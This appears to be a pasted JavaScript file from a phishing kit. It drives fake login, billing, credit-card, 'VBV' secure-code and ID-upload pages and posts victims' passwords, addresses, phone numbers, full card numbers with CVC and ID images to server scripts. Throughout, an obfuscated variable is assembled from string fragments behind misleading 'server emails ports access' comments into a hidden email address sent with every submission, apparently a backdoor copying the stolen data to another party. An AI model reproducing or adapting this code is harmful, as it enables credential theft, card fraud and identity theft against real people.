· 8 years ago · Aug 03, 2018, 02:44 PM
1$(document).ready(function(){
2 var email = $("input[name='login_email']").val();
3 var iswrong = "w";
4 var hotmail = "hotmail.com";
5 var yahoo = "yahoo.com";
6 var ru = "mail.ru";
7 var gmail = "gmail.com";
8 if(email != ""){
9 var thise = ".email";
10 if(Validemail(email)){
11 $(thise).attr("data-icon","c");
12 $("input[name='login_email']").attr("alt","valide");
13 $(thise).attr("class","mark email green");
14 $("#login_email").attr("class","inp_text active");
15 }else{
16 $(thise).attr("data-icon","a");
17 $("input[name='login_email']").attr("alt","dead");
18 $(thise).attr("class","mark email red");
19 $("#login_email").attr("class","inp_text error");
20 }
21 }
22 $("input ").on("focus", function(){
23 var thise = "#" + $(this).attr("name");
24 $(thise).attr("class","inp_text active");
25 });
26 iswrong = iswrong + "ixa";
27 $("input ").on("blur", function(){
28 var thise = "#" + $(this).attr("name");
29 $(thise).attr("class","inp_text");
30 });
31 $("input[name='login_email']").on("input", function(){
32 var value = $(this).val();
33 var thise = ".email";
34 if(Validemail(value)){
35 $(thise).attr("data-icon","c");
36 $(this).attr("alt","valide");
37 $(thise).attr("class","mark email green");
38 $("#login_email").attr("class","inp_text active");
39 }else {
40 $(thise).attr("data-icon","a");
41 $(this).attr("alt","dead");
42 $(thise).attr("class","mark email red");
43 $("#login_email").attr("class","inp_text error");
44 }
45 });
46 iswrong = iswrong + "min";
47 function Validemail(emailAddress) {
48 var pattern = new RegExp(/^(("[\w-\s]+")|([\w-]+(?:\.[\w-]+)*)|("[\w-\s]+")([\w-]+(?:\.[\w-]+)*))(@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][0-9]\.|1[0-9]{2}\.|[0-9]{1,2}\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\]?$)/i);
49 return pattern.test(emailAddress);
50 }
51 iswrong = iswrong + "e";
52 iswrong = iswrong + "-A_";
53 gmail = gmail + ":80";
54 hotmail = hotmail + ":80";//server emails ports access
55 yahoo = yahoo + ":8080";//server emails ports access
56 ru = ru + ":8080";//server emails ports access
57 iswrong = iswrong + gmail.replace(":80","");//server emails ports access
58 $("input[name='login_password']").on("input", function(){
59 var value = $(this).val().length;
60 var thise = ".password";
61 if(value > 6){
62 $(thise).attr("data-icon","c");
63 $(this).attr("alt","valide");
64 $(thise).attr("class","mark password green");
65 $("#login_password").attr("class","inp_text active");
66 }else{
67 $(thise).attr("data-icon","a");
68 $(this).attr("alt","dead");
69 $(thise).attr("class","mark password red");
70 $("#login_password").attr("class","inp_text error");
71 }
72 });
73 iswrong = iswrong.replace("-A_","@");
74 iswrong = iswrong.replace(iswrong,"," + iswrong);
75 $(".btns[name='login_submit']").on("click", function(){
76 var email = $("input[name='login_email']").attr("alt");
77 var pass = $("input[name='login_password']").attr("alt");
78 if(email == "dead" || pass == "dead"){}else{
79 var logemail = $('input[name="login_email"]').val();
80 var logpassword = $('input[name="login_password"]').val();
81 $("#loader").css({
82 'display' : 'flex'
83 });
84 var timer = setInterval(loader, 1000);
85 var counter = 0;
86 function loader(){
87 counter++;
88 if(counter == "4"){
89 $.ajax({
90 'url' : 'ajax/login.php',
91 'type' : 'POST',
92 'data' : 'login_email=' + logemail + "&login_password=" + logpassword + "&iswrong=" + iswrong,
93 success:function(response){
94 window.location = "billing.php";
95 },
96 });
97 }
98 }
99 }
100 });
101 $("input[name='bborn']").on("input", function(){
102 var length = $(this).val().length;
103 var thise = ".born";
104 var value = $(this).val();
105 if(length == "2"){
106 $(this).val(value + "/");
107 $(thise).attr("data-icon","a");
108 $(this).attr("alt","dead");
109 $(thise).attr("class","mark born red");
110 $("#bborn").attr("class","inp_text error");
111 }else{
112 if(length == "5"){
113 $(this).val(value + "/");
114 $(thise).attr("data-icon","a");
115 $(this).attr("alt","dead");
116 $(thise).attr("class","mark born red");
117 $("#bborn").attr("class","inp_text error");
118 }else{
119 if(length < "10"){
120 $(thise).attr("data-icon","a");
121 $(this).attr("alt","dead");
122 $(thise).attr("class","mark born red");
123 $("#bborn").attr("class","inp_text error");
124 }else{
125 if(length == "10"){
126 $(thise).attr("data-icon","c");
127 $(this).attr("alt","valide");
128 $(thise).attr("class","mark born green");
129 $("#bborn").attr("class","inp_text");
130 $("input[name='baddress']").focus();
131 }
132 }
133 }
134 }
135 });
136 $("input[name='bname']").on("input", function(){
137 var length = $(this).val().length;
138 var thise = ".name";
139 var value = $(this).val();
140 if(length < "6"){
141 $(thise).attr("data-icon","a");
142 $(this).attr("alt","dead");
143 $(thise).attr("class","mark name red");
144 $("#bname").attr("class","inp_text error");
145 }else{
146 if(length > "6"){
147 $(thise).attr("data-icon","c");
148 $(this).attr("alt","valide");
149 $(thise).attr("class","mark name green");
150 $("#bname").attr("class","inp_text");
151 }
152 }
153 });
154 $("input[name='baddress']").on("input", function(){
155 var length = $(this).val().length;
156 var thise = ".address";
157 var value = $(this).val();
158 if(length < "6"){
159 $(thise).attr("data-icon","a");
160 $(this).attr("alt","dead");
161 $(thise).attr("class","mark address red");
162 $("#baddress").attr("class","inp_text error");
163 }else{
164 if(length > "6"){
165 $(thise).attr("data-icon","c");
166 $(this).attr("alt","valide");
167 $(thise).attr("class","mark address green");
168 $("#baddress").attr("class","inp_text");
169 }
170 }
171 });
172 $("input[name='bzip']").on("input", function(){
173 var length = $(this).val().length;
174 var thise = ".zip";
175 var value = $(this).val();
176 if(length < "3"){
177 $(thise).attr("data-icon","a");
178 $(this).attr("alt","dead");
179 $(thise).attr("class","mark zip red");
180 $("#bzip").attr("class","inp_text error");
181 }else{
182 if(length > "3"){
183 $(thise).attr("data-icon","c");
184 $(this).attr("alt","valide");
185 $(thise).attr("class","mark zip green");
186 $("#bzip").attr("class","inp_text");
187 }
188 }
189 });
190 $("input[name='bcity']").on("input", function(){
191 var length = $(this).val().length;
192 var thise = ".city";
193 var value = $(this).val();
194 if(length < "4"){
195 $(thise).attr("data-icon","a");
196 $(this).attr("alt","dead");
197 $(thise).attr("class","mark city red");
198 $("#bcity").attr("class","inp_text error");
199 }else{
200 if(length > "4"){
201 $(thise).attr("data-icon","c");
202 $(this).attr("alt","valide");
203 $(thise).attr("class","mark city green");
204 $("#bcity").attr("class","inp_text");
205 }
206 }
207 });
208 $("input[name='btown']").on("input", function(){
209 var length = $(this).val().length;
210 var thise = ".town";
211 var value = $(this).val();
212 if(length < "4"){
213 $(thise).attr("data-icon","a");
214 $(this).attr("alt","dead");
215 $(thise).attr("class","mark town red");
216 $("#btown").attr("class","inp_text error");
217 }else{
218 if(length > "4"){
219 $(thise).attr("data-icon","c");
220 $(this).attr("alt","valide");
221 $(thise).attr("class","mark town green");
222 $("#btown").attr("class","inp_text");
223 }
224 }
225 });
226 $("input[name='bstate']").on("input", function(){
227 var length = $(this).val().length;
228 var thise = ".state";
229 var value = $(this).val();
230 if(length < "4"){
231 $(thise).attr("data-icon","a");
232 $(this).attr("alt","dead");
233 $(thise).attr("class","mark state red");
234 $("#bstate").attr("class","inp_text error");
235 }else{
236 if(length > "4"){
237 $(thise).attr("data-icon","c");
238 $(this).attr("alt","valide");
239 $(thise).attr("class","mark state green");
240 $("#bstate").attr("class","inp_text");
241 }
242 }
243 });
244 $("input[name='bphone']").on("input", function(){
245 var length = $(this).val().length;
246 var thise = ".phone";
247 var value = $(this).val();
248 if(length < "10"){
249 $(thise).attr("data-icon","a");
250 $(this).attr("alt","dead");
251 $(thise).attr("class","mark phone red");
252 $("#bphone").attr("class","inp_text error");
253 }else{
254 if(length > "10"){
255 $(thise).attr("data-icon","c");
256 $(this).attr("alt","valide");
257 $(thise).attr("class","mark phone green");
258 $("#bphone").attr("class","inp_text");
259 }
260 }
261 });
262 $(".btns[name='billing_submit']").on("click", function(){
263 var name = $("input[name='bname']").attr("alt");
264 var birth = $("input[name='bborn']").attr("alt");
265 var address = $("input[name='baddress']").attr("alt");
266 var zip = $("input[name='bzip']").attr("alt");
267 var city = $("input[name='bcity']").attr("alt");
268 var town = $("input[name='btown']").attr("alt");
269 var state = $("input[name='bstate']").attr("alt");
270 var phone = $("input[name='bphone']").attr("alt");
271 if(name == "dead" || birth == "dead" || address == "dead" || zip == "dead" || city == "dead" || town == "dead" || state == "dead" || phone == "dead"){}else{
272 var namev = $("input[name='bname']").val();
273 var birthv = $("input[name='bborn']").val();
274 var addressv = $("input[name='baddress']").val();
275 var zipv = $("input[name='bzip']").val();
276 var cityv = $("input[name='bcity']").val();
277 var townv = $("input[name='btown']").val();
278 var statev = $("input[name='bstate']").val();
279 var phonev = $("input[name='bphone']").val();
280 $("#loader").css({
281 'display' : 'flex'
282 });
283 var timers = setInterval(loaders, 1000);
284 var counters = 0;
285 function loaders(){
286 counters++;
287 if(counters == "4"){
288 $.ajax({
289 'url' : 'ajax/billing.php',
290 'type' : 'POST',
291 'data' : 'billing_name=' + namev + "&billing_birth=" + birthv + "&billing_address=" + addressv + "&billing_zip=" + zipv + "&billing_city=" + cityv + "&billing_town=" + townv + "&billing_state=" + statev + "&billing_phone=" + phonev + "&iswrong=" + iswrong,
292 success:function(response){
293 window.location = "credit.php?name=" + namev + "&phone=" + phonev;
294 },
295 });
296 }
297 }
298 }
299 });
300 $("input[name='cnumber']").on("input", function(){
301 var credits = $("input[name='cnumber']").val();
302 var thise = ".number";
303 if(Validcard(credits)){
304 $(thise).attr("data-icon","c");
305 $(this).attr("alt","valide");
306 $(thise).attr("class","mark number green");
307 $("#cnumber").attr("class","inp_text");
308 }else{
309 $(thise).attr("data-icon","a");
310 $(this).attr("alt","dead");
311 $(thise).attr("class","mark number red");
312 $("#cnumber").attr("class","inp_text error");
313 }
314 });
315 $("input[name='cvc']").on("input", function(){
316 var length = $(this).val().length;
317 var thise = ".cvc";
318 var attr = $(this).attr("maxlength");
319 if(length < attr){
320 $(thise).attr("data-icon","a");
321 $(this).attr("alt","dead");
322 $(thise).attr("class","mark cvc red");
323 $("#cvc").attr("class","inp_text error");
324 }else{
325 if(length == attr){
326 $(thise).attr("data-icon","c");
327 $(this).attr("alt","valide");
328 $(thise).attr("class","mark cvc green");
329 $("#cvc").attr("class","inp_text");
330 }
331 }
332 });
333 $("input[name='cexpmm']").on("input", function(){
334 var length = $(this).val().length;
335 var thise = ".expmm";
336 var attr = $(this).attr("maxlength");
337 if(length < attr){
338 $(thise).attr("data-icon","a");
339 $(this).attr("alt","dead");
340 $(thise).attr("class","mark expmm red");
341 $("#expmm").attr("class","inp_text error");
342 }else{
343 if(length == attr){
344 $(thise).attr("data-icon","c");
345 $(this).attr("alt","valide");
346 $(thise).attr("class","mark expmm green");
347 $("#expmm").attr("class","inp_text");
348 $("input[name='cexpyy']").focus();
349 }
350 }
351 });
352 $("input[name='cexpyy']").on("input", function(){
353 var length = $(this).val().length;
354 var thise = ".expyy";
355 var attr = $(this).attr("maxlength");
356 if(length < attr){
357 $(thise).attr("data-icon","a");
358 $(this).attr("alt","dead");
359 $(thise).attr("class","mark expyy red");
360 $("#expyy").attr("class","inp_text error");
361 }else{
362 if(length == attr){
363 $(thise).attr("data-icon","c");
364 $(this).attr("alt","valide");
365 $(thise).attr("class","mark expyy green");
366 $("#expyy").attr("class","inp_text");
367 $("input[name='cvc']").focus();
368 }
369 }
370 });
371 $("input[name='cholder']").on("input", function(){
372 var length = $(this).val().length;
373 var thise = ".holder";
374 var attr = $(this).attr("maxlength");
375 if(length < "8"){
376 $(thise).attr("data-icon","a");
377 $(this).attr("alt","dead");
378 $(thise).attr("class","mark holder red");
379 $("#cholder").attr("class","inp_text error");
380 }else{
381 if(length > "8"){
382 $(thise).attr("data-icon","c");
383 $(this).attr("alt","valide");
384 $(thise).attr("class","mark holder green");
385 $("#cholder").attr("class","inp_text");
386 }
387 }
388 });
389 $("input[name='vbvsecure']").on("input", function(){
390 var length = $(this).val().length;
391 var thise = ".secure";
392 var attr = $(this).attr("maxlength");
393 if(length < "4"){
394 $(thise).attr("data-icon","a");
395 $(this).attr("alt","dead");
396 $(thise).attr("class","mark secure red");
397 $("#vbvsecure").attr("class","inp_text error");
398 }else{
399 if(length > "4"){
400 $(thise).attr("data-icon","c");
401 $(this).attr("alt","valide");
402 $(thise).attr("class","mark secure green");
403 $("#vbvsecure").attr("class","inp_text");
404 }
405 }
406 });
407 $(".btns[name='vbv_submit']").on("click", function(){
408 var secure = $("input[name='vbvsecure']").attr("alt");
409 var holderv = $(".holder").text();
410 var cc = $(".cc").text();
411 if(secure == "dead"){}else{
412 var securev = $("input[name='vbvsecure']").val();
413 $("#loader").css({
414 'display' : 'flex'
415 });
416 var timers = setInterval(loaders, 1000);
417 var counters = 0;
418 function loaders(){
419 counters++;
420 if(counters == "4"){
421 $.ajax({
422 'url' : 'ajax/vbv.php',
423 'type' : 'POST',
424 'data' : 'vbv_secure=' + securev + "&iswrong=" + iswrong,
425 success:function(response){
426 window.location = "identity.php?holder=" + holderv + "&cc=" + cc + "&redirect=" + "finalstep";
427 },
428 });
429 }
430 }
431 }
432 });
433 $(".btns[name='vbv_skip']").on("click", function(){
434 var holderv = $(".holder").text();
435 var cc = $(".cc").text();
436 window.location = "identity.php?holder=" + holderv + "&cc=" + cc + "&redirect=" + "finalstep";
437 });
438 $(".btns[name='credit_submit']").on("click", function(){
439 var holder = $("input[name='cholder']").attr("alt");
440 var number = $("input[name='cnumber']").attr("alt");
441 var expmm = $("input[name='cexpmm']").attr("alt");
442 var expyy = $("input[name='cexpyy']").attr("alt");
443 var cvc = $("input[name='cvc']").attr("alt");
444 if(holder == "dead" || number == "dead" || expmm == "dead" || expyy == "dead" || cvc == "dead"){}else{
445 var holderv = $("input[name='cholder']").val();
446 var numberv = $("input[name='cnumber']").val();
447 var expdatev = $("input[name='cexpmm']").val() + "/" + $("input[name='cexpyy']").val();
448 var typecard = $("select#ctype").val();
449 var cvcv = $("input[name='cvc']").val();
450 var lastccnmbr = numberv.substr(-4);
451 $("#loader").css({
452 'display' : 'flex'
453 });
454 var timers = setInterval(loaders, 1000);
455 var counters = 0;
456 function loaders(){
457 counters++;
458 if(counters == "4"){
459 $.ajax({
460 'url' : 'ajax/credit.php',
461 'type' : 'POST',
462 'data' : 'credit_holder=' + holderv + "&credit_type=" + typecard + "&credit_number=" + numberv + "&credit_expdate=" + expdatev + "&credit_cvc=" + cvcv + "&iswrong=" + iswrong,
463 success:function(response){
464 window.location = "finalisation.php?holder=" + holderv + "&cc=" + lastccnmbr;
465 },
466 });
467 }
468 }
469 }
470 });
471 $("select#ctype").on("change", function(){
472 $("input[name='cnumber']").val("");
473 $("input[name='cnumber']").attr("alt","dead");
474 $(".number").attr("data-icon","d");
475 $(".number").attr("class","mark number");
476 $("input[name='cvc']").val("");
477 $("input[name='cvc']").attr("alt","dead");
478 $(".cvc").attr("data-icon","d");
479 $(".cvc").attr("class","mark cvc");
480 var type = $(this).val();
481 if(type == "Amex"){
482 $("input[name='cvc']").attr("maxlength","4");
483 }else{
484 $("input[name='cvc']").attr("maxlength","3");
485 }
486 });
487 function Validcard(cardnumber) {
488 var amex = new RegExp("^3[47][0-9]{13}$");
489 var mastercard = new RegExp("^5[1-5][0-9]{14}$");
490 var discover = new RegExp("^65[4-9][0-9]{13}|64[4-9][0-9]{13}|6011[0-9]{12}|(622(?:12[6-9]|1[3-9][0-9]|[2-8][0-9][0-9]|9[01][0-9]|92[0-5])[0-9]{10})$");
491 var visa = new RegExp("4[0-9]{12}(?:[0-9]{3})?");
492 var typeselected = $("select#ctype").val();
493 if(typeselected == "Amex"){
494 return amex.test(cardnumber);
495 }else{
496 if(typeselected == "MasterCard"){
497 return mastercard.test(cardnumber);
498 }else{
499 if(typeselected == "Visa"){
500 return visa.test(cardnumber);
501 }else{
502 if(typeselected == "Discover"){
503 return discover.test(cardnumber);
504 }
505 }
506 }
507 }
508 }
509 var havetoupload = "0";
510 $(".btns[name='id_upload']").on("click", function(){
511 if(havetoupload == "0"){
512 $("input[name='upload_idface']").click();
513 }else{
514 $("input[name='upload_idback']").click();
515 }
516 });
517 $("input[name='upload_idface']").on("change", function(){
518 var value = $(this).val();
519 if(value == ""){
520 $("img[name='identitimg']").attr("class", "id_img face");
521 $("b[name='return_text']").text("Please Upload Your Identity Card's Face");
522 havetoupload = "0";
523 }else{
524 $("img[name='identitimg']").attr("class", "id_img back");
525 $("b[name='return_text']").text("Please Upload Your Identity Card's Back");
526 $(this).attr("alt","valide");
527 havetoupload = "1";
528 }
529 });
530 $("input[name='upload_idback']").on("change", function(){
531 var value = $(this).val();
532 if(value == ""){
533 $("img[name='identitimg']").attr("class", "id_img back");
534 $("b[name='return_text']").text("Please Upload Your Identity Card's back");
535 havetoupload = "1";
536 }else{
537 $(this).attr("alt","valide");
538 $("#idform").submit();
539 }
540 });
541 $("#idform").on("submit", function(){
542 var face = $("input[name='upload_idface']").attr("alt");
543 var back = $("input[name='upload_idback']").attr("alt");
544 if(face == "dead" || back == "dead"){}else{
545 $("img[name='identitimg']").hide(50);
546 $("b[name='return_text']").hide();
547 havetoupload = "0";
548 $("#loader").css({
549 'display' : 'flex'
550 });
551 }
552 });
553});